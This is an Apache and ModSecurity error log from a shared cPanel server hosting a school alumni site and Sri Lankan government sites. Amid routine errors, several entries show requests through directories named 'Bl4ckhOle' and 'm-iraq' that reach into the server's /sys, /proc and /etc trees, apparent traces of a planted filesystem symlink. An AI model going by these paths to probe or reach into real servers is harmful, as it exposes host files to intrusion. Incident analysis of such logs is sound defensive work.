[Fri Jul 17 10:40:20.361631 2026] [security2:error] [pid 2075705:tid 2075705] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5PPVsLAz87UqRdDoZ7wAAAAA"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:40:21.164884 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:21.166198 2026] [security2:error] [pid 2075711:tid 2075711] [client 47.82.13.26:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:39/subsystem/tty37/subsystem/tty10/"] [unique_id "alm5PR3_6y13_d3Np4_7YwAAAAE"]
[Fri Jul 17 10:40:21.166228 2026] [security2:error] [pid 2075711:tid 2075711] [client 47.82.13.26:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:39/subsystem/tty37/subsystem/tty10/"] [unique_id "alm5PR3_6y13_d3Np4_7YwAAAAE"]
[Fri Jul 17 10:40:23.759563 2026] [core:error] [pid 2075705:tid 2075705] (13)Permission denied: [client 47.79.15.28:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-usr-local-cpanel-Cpanel.mount/cgroup.event_control
[Fri Jul 17 10:40:23.824069 2026] [core:crit] [pid 2076231:tid 2076231] (13)Permission denied: [client 66.249.70.66:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/apache2/run/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/apache2/run/' is executable
[Fri Jul 17 10:40:23.964817 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:44496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:23.966406 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:25.327741 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:26.824992 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:27.817796 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:44668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:28.289093 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5RMwb7ueECO0vce5vhgAAAA8"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:40:28.289131 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5RMwb7ueECO0vce5vhgAAAA8"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:40:28.585551 2026] [security2:error] [pid 2081373:tid 2081373] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5REPK-OIDVxiTM0dyVAAAABY"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:40:28.585582 2026] [security2:error] [pid 2081373:tid 2081373] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5REPK-OIDVxiTM0dyVAAAABY"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:40:33.104497 2026] [ssl:error] [pid 2075901:tid 2075901] (5)Input/output error: [client 66.85.158.91:54788] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:33.185475 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:33.356889 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:34.515814 2026] [authz_core:error] [pid 2076257:tid 2076257] [client 85.208.96.208:0] AH01630: client denied by server configuration: /home/ksoftweb/public_html/daph/daph1/vendor/laravel/sail/runtimes/8.0/php.ini
[Fri Jul 17 10:40:34.573161 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:34.675483 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:35.490793 2026] [ssl:error] [pid 2081373:tid 2081373] (70014)End of file found: [client 66.85.158.91:54958] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:35.936202 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:55028] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:36.172857 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:36.322356 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:37.506928 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:38.681566 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:38.772471 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:38.885306 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:38.979860 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:40.502883 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:40.787459 2026] [core:error] [pid 2075718:tid 2075718] (13)Permission denied: [client 47.82.15.74:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:01.2/firmware_node/physical_node/firmware_node/eject
[Fri Jul 17 10:40:40.798766 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:41.367326 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:42.434634 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:42.459750 2026] [autoindex:error] [pid 2075691:tid 2075691] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:40:43.070771 2026] [security2:error] [pid 2075718:tid 2075718] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5U3HGgRvC9MVf3SzK5gAAAAI"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:40:43.070803 2026] [security2:error] [pid 2075718:tid 2075718] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5U3HGgRvC9MVf3SzK5gAAAAI"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:40:44.531152 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:34386] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:45.591515 2026] [security2:error] [pid 2075780:tid 2075780] [client 66.249.70.196:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "alm5VR0C3r-GF3RTNAbV2gAAAAY"]
[Fri Jul 17 10:40:45.591558 2026] [security2:error] [pid 2075780:tid 2075780] [client 66.249.70.196:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "alm5VR0C3r-GF3RTNAbV2gAAAAY"]
[Fri Jul 17 10:40:45.592344 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:34476] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:47.511359 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:34528] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:48.001442 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:34556] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:48.164592 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:48.948010 2026] [core:error] [pid 2075718:tid 2075718] (13)Permission denied: [client 57.141.18.1:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory1/subsystem/devices/memory133/node0/memory87/node0/memory113/subsystem/uevent
[Fri Jul 17 10:40:50.579593 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:50.880395 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:34668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:51.157932 2026] [core:error] [pid 2081387:tid 2081387] (13)Permission denied: [client 47.82.53.34:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:63/subsystem/input3/device/subsystem/uevent
[Fri Jul 17 10:40:51.167011 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:51.530823 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:51.935821 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/event4/subsystem/input3/name"] [unique_id "alm5W2Fjrl6DCT-Pyn8W_wAAAAo"]
[Fri Jul 17 10:40:51.935873 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/event4/subsystem/input3/name"] [unique_id "alm5W2Fjrl6DCT-Pyn8W_wAAAAo"]
[Fri Jul 17 10:40:52.138456 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:52.564091 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:47654] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:55.628327 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:40:56.941530 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:47886] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:40:58.279408 2026] [security2:error] [pid 2075690:tid 2075690] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5YhyL4_TKNgi7OLI6SAAAAB4"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:40:58.279445 2026] [security2:error] [pid 2075690:tid 2075690] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm5YhyL4_TKNgi7OLI6SAAAAB4"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:40:58.305506 2026] [security2:error] [pid 2075978:tid 2075978] [client 40.77.167.155:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm5YWFjrl6DCT-Pyn8XBwAAAAo"]
[Fri Jul 17 10:40:58.305555 2026] [security2:error] [pid 2075978:tid 2075978] [client 40.77.167.155:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm5YWFjrl6DCT-Pyn8XBwAAAAo"]
[Fri Jul 17 10:40:58.895567 2026] [security2:error] [pid 2075690:tid 2075690] [client 151.243.11.245:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "alm5YhyL4_TKNgi7OLI6SQAAAB4"]
[Fri Jul 17 10:41:00.556721 2026] [security2:error] [pid 2075711:tid 2075711] [client 46.151.178.13:0] ModSecurity: Warning. Match of "within %{tx.allowed_methods}" against "REQUEST_METHOD" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-911-METHOD-ENFORCEMENT.conf"] [line "44"] [id "911100"] [msg "Method is not allowed by policy"] [data "PROPFIND"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272/220/274"] [tag "PCI/12.1"] [hostname "66.85.158.92"] [uri "/"] [unique_id "alm5ZB3_6y13_d3Np4_7iAAAAAE"], referer: http://66.85.158.92:443/
[Fri Jul 17 10:41:00.556861 2026] [security2:error] [pid 2075711:tid 2075711] [client 46.151.178.13:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "alm5ZB3_6y13_d3Np4_7iAAAAAE"], referer: http://66.85.158.92:443/
[Fri Jul 17 10:41:00.557232 2026] [security2:error] [pid 2075711:tid 2075711] [client 46.151.178.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.92"] [uri "/"] [unique_id "alm5ZB3_6y13_d3Np4_7iAAAAAE"], referer: http://66.85.158.92:443/
[Fri Jul 17 10:41:00.557554 2026] [security2:error] [pid 2075711:tid 2075711] [client 46.151.178.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.92"] [uri "/"] [unique_id "alm5ZB3_6y13_d3Np4_7iAAAAAE"], referer: http://66.85.158.92:443/